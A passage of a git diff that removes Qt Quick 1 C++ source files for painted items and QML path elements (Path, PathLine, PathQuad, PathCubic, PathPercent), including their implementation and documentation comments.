QRect &); - void clearCache(); - -private: - Q_DISABLE_COPY(QDeclarative1PaintedItem) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1PaintedItem) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1PaintedItem) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativepainteditem_p_p.h b/src/qtquick1/graphicsitems/qdeclarativepainteditem_p_p.h deleted file mode 100644 index c04e76d54d..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepainteditem_p_p.h +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEIMAGEITEM_P_H -#define QDECLARATIVEIMAGEITEM_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeitem_p.h" - -QT_BEGIN_NAMESPACE - -class QDeclarative1PaintedItemPrivate : public QDeclarativeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1PaintedItem) - -public: - QDeclarative1PaintedItemPrivate() - : max_imagecache_size(100000), contentsScale(1.0), fillColor(Qt::transparent), cachefrozen(false), smoothCache(true) - { - } - - struct ImageCacheItem { - ImageCacheItem() : age(0) {} - ~ImageCacheItem() { } - int age; - QRect area; - QRect dirty; // one dirty area (allows optimization of common cases) - QPixmap image; - }; - - QList imagecache; - - int max_imagecache_size; - QSize contentsSize; - qreal contentsScale; - QColor fillColor; - bool cachefrozen; - bool smoothCache; -}; - -QT_END_NAMESPACE -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativepath.cpp b/src/qtquick1/graphicsitems/qdeclarativepath.cpp deleted file mode 100644 index c8aa75dd1d..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepath.cpp +++ /dev/null @@ -1,933 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativepath_p.h" -#include "QtQuick1/private/qdeclarativepath_p_p.h" - -#include -#include - -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass PathElement QDeclarative1PathElement - \inqmlmodule QtQuick 1 - \ingroup qml-view-elements - \since QtQuick 1.0 - \brief PathElement is the base path type. - - This type is the base for all path types. It cannot - be instantiated. - - \sa Path, PathAttribute, PathPercent, PathLine, PathQuad, PathCubic -*/ - -/*! - \qmlclass Path QDeclarative1Path - \inqmlmodule QtQuick 1 - \ingroup qml-view-elements - \since QtQuick 1.0 - \brief A Path object defines a path for use by \l PathView. - - A Path is composed of one or more path segments - PathLine, PathQuad, - PathCubic. - - The spacing of the items along the Path can be adjusted via a - PathPercent object. - - PathAttribute allows named attributes with values to be defined - along the path. - - \sa PathView, PathAttribute, PathPercent, PathLine, PathQuad, PathCubic -*/ -QDeclarative1Path::QDeclarative1Path(QObject *parent) - : QObject(*(new QDeclarative1PathPrivate), parent) -{ -} - -QDeclarative1Path::~QDeclarative1Path() -{ -} - -/*! - \qmlproperty real QtQuick1::Path::startX - \qmlproperty real QtQuick1::Path::startY - These properties hold the starting position of the path. -*/ -qreal QDeclarative1Path::startX() const -{ - Q_D(const QDeclarative1Path); - return d->startX; -} - -void QDeclarative1Path::setStartX(qreal x) -{ - Q_D(QDeclarative1Path); - if (qFuzzyCompare(x, d->startX)) - return; - d->startX = x; - emit startXChanged(); - processPath(); -} - -qreal QDeclarative1Path::startY() const -{ - Q_D(const QDeclarative1Path); - return d->startY; -} - -void QDeclarative1Path::setStartY(qreal y) -{ - Q_D(QDeclarative1Path); - if (qFuzzyCompare(y, d->startY)) - return; - d->startY = y; - emit startYChanged(); - processPath(); -} - -/*! - \qmlproperty bool QtQuick1::Path::closed - This property holds whether the start and end of the path are identical. -*/ -bool QDeclarative1Path::isClosed() const -{ - Q_D(const QDeclarative1Path); - return d->closed; -} - -/*! - \qmlproperty list QtQuick1::Path::pathElements - This property holds the objects composing the path. - - \default - - A path can contain the following path objects: - \list - \i \l PathLine - a straight line to a given position. - \i \l PathQuad - a quadratic Bezier curve to a given position with a control point. - \i \l PathCubic - a cubic Bezier curve to a given position with two control points. - \i \l PathAttribute - an attribute at a given position in the path. - \i \l PathPercent - a way to spread out items along various segments of the path. - \endlist - - \snippet doc/src/snippets/qtquick1/pathview/pathattributes.qml 2 -*/ - -QDeclarativeListProperty QDeclarative1Path::pathElements() -{ - Q_D(QDeclarative1Path); - return QDeclarativeListProperty(this, d->_pathElements); -} - -void QDeclarative1Path::interpolate(int idx, const QString &name, qreal value) -{ - Q_D(QDeclarative1Path); - if (!idx) - return; - - qreal lastValue = 0; - qreal lastPercent = 0; - int search = idx - 1; - while(search >= 0) { - const AttributePoint &point = d->_attributePoints.at(search); - if (point.values.contains(name)) { - lastValue = point.values.value(name); - lastPercent = point.origpercent; - break; - } - --search; - } - - ++search; - - const AttributePoint &curPoint = d->_attributePoints.at(idx); - - for (int ii = search; ii < idx; ++ii) { - AttributePoint &point = d->_attributePoints[ii]; - - qreal val = lastValue + (value - lastValue) * (point.origpercent - lastPercent) / (curPoint.origpercent - lastPercent); - point.values.insert(name, val); - } -} - -void QDeclarative1Path::endpoint(const QString &name) -{ - Q_D(QDeclarative1Path); - const AttributePoint &first = d->_attributePoints.first(); - qreal val = first.values.value(name); - for (int ii = d->_attributePoints.count() - 1; ii >= 0; ii--) { - const AttributePoint &point = d->_attributePoints.at(ii); - if (point.values.contains(name)) { - for (int jj = ii + 1; jj < d->_attributePoints.count(); ++jj) { - AttributePoint &setPoint = d->_attributePoints[jj]; - setPoint.values.insert(name, val); - } - return; - } - } -} - -void QDeclarative1Path::processPath() -{ - Q_D(QDeclarative1Path); - - if (!d->componentComplete) - return; - - d->_pointCache.clear(); - d->_attributePoints.clear(); - d->_path = QPainterPath(); - - AttributePoint first; - for (int ii = 0; ii < d->_attributes.count(); ++ii) - first.values[d->_attributes.at(ii)] = 0; - d->_attributePoints << first; - - d->_path.moveTo(d->startX, d->startY); - - QDeclarative1Curve *lastCurve = 0; - foreach (QDeclarative1PathElement *pathElement, d->_pathElements) { - if (QDeclarative1Curve *curve = qobject_cast(pathElement)) { - curve->addToPath(d->_path); - AttributePoint p; - p.origpercent = d->_path.length(); - d->_attributePoints << p; - lastCurve = curve; - } else if (QDeclarative1PathAttribute *attribute = qobject_cast(pathElement)) { - AttributePoint &point = d->_attributePoints.last(); - point.values[attribute->name()] = attribute->value(); - interpolate(d->_attributePoints.count() - 1, attribute->name(), attribute->value()); - } else if (QDeclarative1PathPercent *percent = qobject_cast(pathElement)) { - AttributePoint &point = d->_attributePoints.last(); - point.values[QLatin1String("_qfx_percent")] = percent->value(); - interpolate(d->_attributePoints.count() - 1, QLatin1String("_qfx_percent"), percent->value()); - } - } - - // Fixup end points - const AttributePoint &last = d->_attributePoints.last(); - for (int ii = 0; ii < d->_attributes.count(); ++ii) { - if (!last.values.contains(d->_attributes.at(ii))) - endpoint(d->_attributes.at(ii)); - } - - // Adjust percent - qreal length = d->_path.length(); - qreal prevpercent = 0; - qreal prevorigpercent = 0; - for (int ii = 0; ii < d->_attributePoints.count(); ++ii) { - const AttributePoint &point = d->_attributePoints.at(ii); - if (point.values.contains(QLatin1String("_qfx_percent"))) { //special string for QDeclarative1PathPercent - if ( ii > 0) { - qreal scale = (d->_attributePoints[ii].origpercent/length - prevorigpercent) / - (point.values.value(QLatin1String("_qfx_percent"))-prevpercent); - d->_attributePoints[ii].scale = scale; - } - d->_attributePoints[ii].origpercent /= length; - d->_attributePoints[ii].percent = point.values.value(QLatin1String("_qfx_percent")); - prevorigpercent = d->_attributePoints[ii].origpercent; - prevpercent = d->_attributePoints[ii].percent; - } else { - d->_attributePoints[ii].origpercent /= length; - d->_attributePoints[ii].percent = d->_attributePoints[ii].origpercent; - } - } - - d->closed = lastCurve && d->startX == lastCurve->x() && d->startY == lastCurve->y(); - - emit changed(); -} - -void QDeclarative1Path::classBegin() -{ - Q_D(QDeclarative1Path); - d->componentComplete = false; -} - -void QDeclarative1Path::componentComplete() -{ - Q_D(QDeclarative1Path); - QSet attrs; - d->componentComplete = true; - - // First gather up all the attributes - foreach (QDeclarative1PathElement *pathElement, d->_pathElements) { - if (QDeclarative1PathAttribute *attribute = - qobject_cast(pathElement)) - attrs.insert(attribute->name()); - } - d->_attributes = attrs.toList(); - - processPath(); - - foreach (QDeclarative1PathElement *pathElement, d->_pathElements) - connect(pathElement, SIGNAL(changed()), this, SLOT(processPath())); -} - -QPainterPath QDeclarative1Path::path() const -{ - Q_D(const QDeclarative1Path); - return d->_path; -} - -QStringList QDeclarative1Path::attributes() const -{ - Q_D(const QDeclarative1Path); - if (!d->componentComplete) { - QSet attrs; - - // First gather up all the attributes - foreach (QDeclarative1PathElement *pathElement, d->_pathElements) { - if (QDeclarative1PathAttribute *attribute = - qobject_cast(pathElement)) - attrs.insert(attribute->name()); - } - return attrs.toList(); - } - return d->_attributes; -} - -static inline QBezier nextBezier(const QPainterPath &path, int *from, qreal *bezLength) -{ - const int lastElement = path.elementCount() - 1; - for (int i=*from; i <= lastElement; ++i) { - const QPainterPath::Element &e = path.elementAt(i); - - switch (e.type) { - case QPainterPath::MoveToElement: - break; - case QPainterPath::LineToElement: - { - QLineF line(path.elementAt(i-1), e); - *bezLength = line.length(); - QPointF a = path.elementAt(i-1); - QPointF delta = e - a; - *from = i+1; - return QBezier::fromPoints(a, a + delta / 3, a + 2 * delta / 3, e); - } - case QPainterPath::CurveToElement: - { - QBezier b = QBezier::fromPoints(path.elementAt(i-1), - e, - path.elementAt(i+1), - path.elementAt(i+2)); - *bezLength = b.length(); - *from = i+3; - return b; - } - default: - break; - } - } - *from = lastElement; - *bezLength = 0; - return QBezier(); -} - -void QDeclarative1Path::createPointCache() const -{ - Q_D(const QDeclarative1Path); - qreal pathLength = d->_path.length(); - if (pathLength <= 0 || qIsNaN(pathLength)) - return; - // more points means less jitter between items as they move along the - // path, but takes longer to generate - const int points = qCeil(pathLength*5); - const int lastElement = d->_path.elementCount() - 1; - d->_pointCache.resize(points+1); - - int currElement = 0; - qreal bezLength = 0; - QBezier currBez = nextBezier(d->_path, &currElement, &bezLength); - qreal currLength = bezLength; - qreal epc = currLength / pathLength; - - for (int i = 0; i < d->_pointCache.size(); i++) { - //find which set we are in - qreal prevPercent = 0; - qreal prevOrigPercent = 0; - for (int ii = 0; ii < d->_attributePoints.count(); ++ii) { - qreal percent = qreal(i)/points; - const AttributePoint &point = d->_attributePoints.at(ii); - if (percent < point.percent || ii == d->_attributePoints.count() - 1) { //### || is special case for very last item - qreal elementPercent = (percent - prevPercent); - - qreal spc = prevOrigPercent + elementPercent * point.scale; - - while (spc > epc) { - if (currElement > lastElement) - break; - currBez = nextBezier(d->_path, &currElement, &bezLength); - if (bezLength == 0.0) { - currLength = pathLength; - epc = 1.0; - break; - } - currLength += bezLength; - epc = currLength / pathLength; - } - qreal realT = (pathLength * spc - (currLength - bezLength)) / bezLength; - d->_pointCache[i] = currBez.pointAt(qBound(qreal(0), realT, qreal(1))); - break; - } - prevOrigPercent = point.origpercent; - prevPercent = point.percent; - } - } -} - -QPointF QDeclarative1Path::pointAt(qreal p) const -{ - Q_D(const QDeclarative1Path); - if (d->_pointCache.isEmpty()) { - createPointCache(); - if (d->_pointCache.isEmpty()) - return QPointF(); - } - int idx = qRound(p*d->_pointCache.size()); - if (idx >= d->_pointCache.size()) - idx = d->_pointCache.size() - 1; - else if (idx < 0) - idx = 0; - return d->_pointCache.at(idx); -} - -qreal QDeclarative1Path::attributeAt(const QString &name, qreal percent) const -{ - Q_D(const QDeclarative1Path); - if (percent < 0 || percent > 1) - return 0; - - for (int ii = 0; ii < d->_attributePoints.count(); ++ii) { - const AttributePoint &point = d->_attributePoints.at(ii); - - if (point.percent == percent) { - return point.values.value(name); - } else if (point.percent > percent) { - qreal lastValue = - ii?(d->_attributePoints.at(ii - 1).values.value(name)):0; - qreal lastPercent = - ii?(d->_attributePoints.at(ii - 1).percent):0; - qreal curValue = point.values.value(name); - qreal curPercent = point.percent; - - return lastValue + (curValue - lastValue) * (percent - lastPercent) / (curPercent - lastPercent); - } - } - - return 0; -} - -/****************************************************************************/ - -qreal QDeclarative1Curve::x() const -{ - return _x; -} - -void QDeclarative1Curve::setX(qreal x) -{ - if (_x != x) { - _x = x; - emit xChanged(); - emit changed(); - } -} - -qreal QDeclarative1Curve::y() const -{ - return _y; -} - -void QDeclarative1Curve::setY(qreal y) -{ - if (_y != y) { - _y = y; - emit yChanged(); - emit changed(); - } -} - -/****************************************************************************/ - -/*! - \qmlclass PathAttribute QDeclarative1PathAttribute - \inqmlmodule QtQuick 1 - \ingroup qml-view-elements - \since QtQuick 1.0 - \brief The PathAttribute allows setting an attribute at a given position in a Path. - - The PathAttribute object allows attributes consisting of a name and - a value to be specified for various points along a path. The - attributes are exposed to the delegate as - \l{qdeclarativeintroduction.html#attached-properties} {Attached Properties}. - The value of an attribute at any particular point along the path is interpolated - from the PathAttributes bounding that point. - - The example below shows a path with the items scaled to 30% with - opacity 50% at the top of the path and scaled 100% with opacity - 100% at the bottom. Note the use of the PathView.iconScale and - PathView.iconOpacity attached properties to set the scale and opacity - of the delegate. - - \table - \row - \o \image declarative-pathattribute.png - \o - \snippet doc/src/snippets/qtquick1/pathview/pathattributes.qml 0 - (see the PathView documentation for the specification of ContactModel.qml - used for ContactModel above.) - \endtable - - - \sa Path -*/ - -/*! - \qmlproperty string QtQuick1::PathAttribute::name - This property holds the name of the attribute to change. - - This attribute will be available to the delegate as PathView. - - Note that using an existing Item property name such as "opacity" as an - attribute is allowed. This is because path attributes add a new - \l{qdeclarativeintroduction.html#attached-properties} {Attached Property} - which in no way clashes with existing properties. -*/ - -/*! - the name of the attribute to change. -*/ - -QString QDeclarative1PathAttribute::name() const -{ - return _name; -} - -void QDeclarative1PathAttribute::setName(const QString &name) -{ - if (_name == name) - return; - _name = name; - emit nameChanged(); -} - -/*! - \qmlproperty real QtQuick1::PathAttribute::value - This property holds the value for the attribute. - - The value specified can be used to influence the visual appearance - of an item along the path. For example, the following Path specifies - an attribute named \e itemRotation, which has the value \e 0 at the - beginning of the path, and the value 90 at the end of the path. - - \qml - Path { - startX: 0 - startY: 0 - PathAttribute { name: "itemRotation"; value: 0 } - PathLine { x: 100; y: 100 } - PathAttribute { name: "itemRotation"; value: 90 } - } - \endqml - - In our delegate, we can then bind the \e rotation property to the - \l{qdeclarativeintroduction.html#attached-properties} {Attached Property} - \e PathView.itemRotation created for this attribute. - - \qml - Rectangle { - width: 10; height: 10 - rotation: PathView.itemRotation - } - \endqml - - As each item is positioned along the path, it will be rotated accordingly: - an item at the beginning of the path with be not be rotated, an item at - the end of the path will be rotated 90 degrees, and an item mid-way along - the path will be rotated 45 degrees. -*/ - -/*! - the new value of the attribute. -*/ -qreal QDeclarative1PathAttribute::value() const -{ - return _value; -} - -void QDeclarative1PathAttribute::setValue(qreal value) -{ - if (_value != value) { - _value = value; - emit valueChanged(); - emit changed(); - } -} - -/****************************************************************************/ - -/*! - \qmlclass PathLine QDeclarative1PathLine - \inqmlmodule QtQuick 1 - \ingroup qml-view-elements - \since QtQuick 1.0 - \brief The PathLine defines a straight line. - - The example below creates a path consisting of a straight line from - 0,100 to 200,100: - - \qml - Path { - startX: 0; startY: 100 - PathLine { x: 200; y: 100 } - } - \endqml - - \sa Path, PathQuad, PathCubic -*/ - -/*! - \qmlproperty real QtQuick1::PathLine::x - \qmlproperty real QtQuick1::PathLine::y - - Defines the end point of the line. -*/ - -void QDeclarative1PathLine::addToPath(QPainterPath &path) -{ - path.lineTo(x(), y()); -} - -/****************************************************************************/ - -/*! - \qmlclass PathQuad QDeclarative1PathQuad - \inqmlmodule QtQuick 1 - \ingroup qml-view-elements - \since QtQuick 1.0 - \brief The PathQuad defines a quadratic Bezier curve with a control point. - - The following QML produces the path shown below: - \table - \row - \o \image declarative-pathquad.png - \o - \qml - Path { - startX: 0; startY: 0 - PathQuad { x: 200; y: 0; controlX: 100; controlY: 150 } - } - \endqml - \endtable - - \sa Path, PathCubic, PathLine -*/ - -/*! - \qmlproperty real QtQuick1::PathQuad::x - \qmlproperty real QtQuick1::PathQuad::y - - Defines the end point of the curve. -*/ - -/*! - \qmlproperty real QtQuick1::PathQuad::controlX - \qmlproperty real QtQuick1::PathQuad::controlY - - Defines the position of the control point. -*/ - -/*! - the x position of the control point. -*/ -qreal QDeclarative1PathQuad::controlX() const -{ - return _controlX; -} - -void QDeclarative1PathQuad::setControlX(qreal x) -{ - if (_controlX != x) { - _controlX = x; - emit controlXChanged(); - emit changed(); - } -} - - -/*! - the y position of the control point. -*/ -qreal QDeclarative1PathQuad::controlY() const -{ - return _controlY; -} - -void QDeclarative1PathQuad::setControlY(qreal y) -{ - if (_controlY != y) { - _controlY = y; - emit controlYChanged(); - emit changed(); - } -} - -void QDeclarative1PathQuad::addToPath(QPainterPath &path) -{ - path.quadTo(controlX(), controlY(), x(), y()); -} - -/****************************************************************************/ - -/*! - \qmlclass PathCubic QDeclarative1PathCubic - \inqmlmodule QtQuick 1 - \ingroup qml-view-elements - \since QtQuick 1.0 - \brief The PathCubic defines a cubic Bezier curve with two control points. - - The following QML produces the path shown below: - \table - \row - \o \image declarative-pathcubic.png - \o - \qml - Path { - startX: 20; startY: 0 - PathCubic { - x: 180; y: 0 - control1X: -10; control1Y: 90 - control2X: 210; control2Y: 90 - } - } - \endqml - \endtable - - \sa Path, PathQuad, PathLine -*/ - -/*! - \qmlproperty real QtQuick1::PathCubic::x - \qmlproperty real QtQuick1::PathCubic::y - - Defines the end point of the curve. -*/ - -/*! - \qmlproperty real QtQuick1::PathCubic::control1X - \qmlproperty real QtQuick1::PathCubic::control1Y - - Defines the position of the first control point. -*/ -qreal QDeclarative1PathCubic::control1X() const -{ - return _control1X; -} - -void QDeclarative1PathCubic::setControl1X(qreal x) -{ - if (_control1X != x) { - _control1X = x; - emit control1XChanged(); - emit changed(); - } -} - -qreal QDeclarative1PathCubic::control1Y() const -{ - return _control1Y; -} - -void QDeclarative1PathCubic::setControl1Y(qreal y) -{ - if (_control1Y != y) { - _control1Y = y; - emit control1YChanged(); - emit changed(); - } -} - -/*! - \qmlproperty real QtQuick1::PathCubic::control2X - \qmlproperty real QtQuick1::PathCubic::control2Y - - Defines the position of the second control point. -*/ -qreal QDeclarative1PathCubic::control2X() const -{ - return _control2X; -} - -void QDeclarative1PathCubic::setControl2X(qreal x) -{ - if (_control2X != x) { - _control2X = x; - emit control2XChanged(); - emit changed(); - } -} - -qreal QDeclarative1PathCubic::control2Y() const -{ - return _control2Y; -} - -void QDeclarative1PathCubic::setControl2Y(qreal y) -{ - if (_control2Y != y) { - _control2Y = y; - emit control2YChanged(); - emit changed(); - } -} - -void QDeclarative1PathCubic::addToPath(QPainterPath &path) -{ - path.cubicTo(control1X(), control1Y(), control2X(), control2Y(), x(), y()); -} - -/****************************************************************************/ - -/*! - \qmlclass PathPercent QDeclarative1PathPercent - \inqmlmodule QtQuick 1 - \ingroup qml-view-elements - \since QtQuick 1.0 - \brief The PathPercent manipulates the way a path is interpreted. - - PathPercent allows you to manipulate the spacing between items on a - PathView's path. You can use it to bunch together items on part of - the path, and spread them out on other parts of the path. - - The examples below show the normal distrubution of items along a path - compared to a distribution which places 50% of the items along the - PathLine section of the path. - \table - \row - \o \image declarative-nopercent.png - \o - \qml - PathView { - // ... - Path { - startX: 20; startY: 0 - PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } - PathLine { x: 150; y: 80 } - PathQuad { x: 180; y: 0; controlX: 200; controlY: 80 } - } - } - \endqml - \row - \o \image declarative-percent.png - \o - \qml - PathView { - // ... - Path { - startX: 20; startY: 0 - PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } - PathPercent { value: 0.25 } - PathLine { x: 150; y: 80 } - PathPercent { value: 0.75 } - PathQuad { x: 180; y: 0; controlX: 200; controlY: 80 } - PathPercent { value: 1 } - } - } - \endqml - \endtable - - \sa Path -*/ - -/*! - \qmlproperty real QtQuick1::PathPercent::value - The proporation of items that should be laid out up to this point. - - This value should always be higher than the last value specified - by a PathPercent at a previous position in the Path. - - In the following example we have a Path made up of three PathLines. - Normally, the items of the PathView would be laid out equally along - this path, with an equal number of items per line segment. PathPercent - allows us to specify that the first and third lines should each hold - 10% of the laid out items, while the second line should hold the remaining - 80%. - - \qml - PathView { - // ... - Path { - startX: 0; startY: 0 - PathLine { x:100; y: 0; } - PathPercent { value: 0.1 } - PathLine { x: 100; y: 100 } - PathPercent { value: 0.9 } - PathLine { x: 100; y: 0 } - PathPercent { value: 1 } - } - } - \endqml -*/ - -qreal QDeclarative1PathPercent::value() const -{ - return _value; -} - -void QDeclarative1PathPercent::setValue(qreal value) -{ - if (_value != value) { - _value = value; - emit valueChanged(); - emit changed(); - } -} - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativepath_p.h b/src/qtquick1/graphicsitems/qdeclarativepath_p.h deleted file mode 100644 index 701903ca10..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepath_p.h +++ /dev/null @@ -1,285 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPATH_H -#define QDECLARATIVEPATH_H - -#include "qdeclarativeitem.h" - -#include - -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class Q_AUTOTEST_EXPORT QDeclarative1PathElement : public QObject -{ - Q_OBJECT -public: - QDeclarative1PathElement(QObject *parent=0) : QObject(parent) {} -Q_SIGNALS: - void changed(); -}; - -class Q_AUTOTEST_EXPORT QDeclarative1PathAttribute : public QDeclarative1PathElement -{ - Q_OBJECT - - Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged) - Q_PROPERTY(qreal value READ value WRITE setValue NOTIFY valueChanged) -public: - QDeclarative1PathAttribute(QObject *parent=0) : QDeclarative1PathElement(parent), _value(0) {} - - - QString name() const; - void setName(const QString &name); - - qreal value() const; - void setValue(qreal value); - -Q_SIGNALS: - void nameChanged(); - void valueChanged(); - -private: - QString _name; - qreal _value; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1Curve : public QDeclarative1PathElement -{ - Q_OBJECT - - Q_PROPERTY(qreal x READ x WRITE setX NOTIFY xChanged) - Q_PROPERTY(qreal y READ y WRITE setY NOTIFY yChanged) -public: - QDeclarative1Curve(QObject *parent=0) : QDeclarative1PathElement(parent), _x(0), _y(0) {} - - qreal x() const; - void setX(qreal x); - - qreal y() const; - void setY(qreal y); - - virtual void addToPath(QPainterPath &) {} - -Q_SIGNALS: - void xChanged(); - void yChanged(); - -private: - qreal _x; - qreal _y; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1PathLine : public QDeclarative1Curve -{ - Q_OBJECT -public: - QDeclarative1PathLine(QObject *parent=0) : QDeclarative1Curve(parent) {} - - void addToPath(QPainterPath &path); -}; - -class Q_AUTOTEST_EXPORT QDeclarative1PathQuad : public QDeclarative1Curve -{ - Q_OBJECT - - Q_PROPERTY(qreal controlX READ controlX WRITE setControlX NOTIFY controlXChanged) - Q_PROPERTY(qreal controlY READ controlY WRITE setControlY NOTIFY controlYChanged) -public: - QDeclarative1PathQuad(QObject *parent=0) : QDeclarative1Curve(parent), _controlX(0), _controlY(0) {} - - qreal controlX() const; - void setControlX(qreal x); - - qreal controlY() const; - void setControlY(qreal y); - - void addToPath(QPainterPath &path); - -Q_SIGNALS: - void controlXChanged(); - void controlYChanged(); - -private: - qreal _controlX; - qreal _controlY; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1PathCubic : public QDeclarative1Curve -{ - Q_OBJECT - - Q_PROPERTY(qreal control1X READ control1X WRITE setControl1X NOTIFY control1XChanged) - Q_PROPERTY(qreal control1Y READ control1Y WRITE setControl1Y NOTIFY control1YChanged) - Q_PROPERTY(qreal control2X READ control2X WRITE setControl2X NOTIFY control2XChanged) - Q_PROPERTY(qreal control2Y READ control2Y WRITE setControl2Y NOTIFY control2YChanged) -public: - QDeclarative1PathCubic(QObject *parent=0) : QDeclarative1Curve(parent), _control1X(0), _control1Y(0), _control2X(0), _control2Y(0) {} - - qreal control1X() const; - void setControl1X(qreal x); - - qreal control1Y() const; - void setControl1Y(qreal y); - - qreal control2X() const; - void setControl2X(qreal x); - - qreal control2Y() const; - void setControl2Y(qreal y); - - void addToPath(QPainterPath &path); - -Q_SIGNALS: - void control1XChanged(); - void control1YChanged(); - void control2XChanged(); - void control2YChanged(); - -private: - qreal _control1X; - qreal _control1Y; - qreal _control2X; - qreal _control2Y; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1PathPercent : public QDeclarative1PathElement -{ - Q_OBJECT - Q_PROPERTY(qreal value READ value WRITE setValue NOTIFY valueChanged) -public: - QDeclarative1PathPercent(QObject *parent=0) : QDeclarative1PathElement(parent) {} - - qreal value() const; - void setValue(qreal value); - -signals: - void valueChanged(); - -private: - qreal _value; -}; - -class QDeclarative1PathPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1Path : public QObject, public QDeclarativeParserStatus -{ - Q_OBJECT - - Q_INTERFACES(QDeclarativeParserStatus) - Q_PROPERTY(QDeclarativeListProperty pathElements READ pathElements) - Q_PROPERTY(qreal startX READ startX WRITE setStartX NOTIFY startXChanged) - Q_PROPERTY(qreal startY READ startY WRITE setStartY NOTIFY startYChanged) - Q_PROPERTY(bool closed READ isClosed NOTIFY changed) - Q_CLASSINFO("DefaultProperty", "pathElements") - Q_INTERFACES(QDeclarativeParserStatus) -public: - QDeclarative1Path(QObject *parent=0); - ~QDeclarative1Path(); - - QDeclarativeListProperty pathElements(); - - qreal startX() const; - void setStartX(qreal x); - - qreal startY() const; - void setStartY(qreal y); - - bool isClosed() const; - - QPainterPath path() const; - QStringList attributes() const; - qreal attributeAt(const QString &, qreal) const; - QPointF pointAt(qreal) const; - -Q_SIGNALS: - void changed(); - void startXChanged(); - void startYChanged(); - -protected: - virtual void componentComplete(); - virtual void classBegin(); - -private Q_SLOTS: - void processPath(); - -private: - struct AttributePoint { - AttributePoint() : percent(0), scale(1), origpercent(0) {} - AttributePoint(const AttributePoint &other) - : percent(other.percent), scale(other.scale), 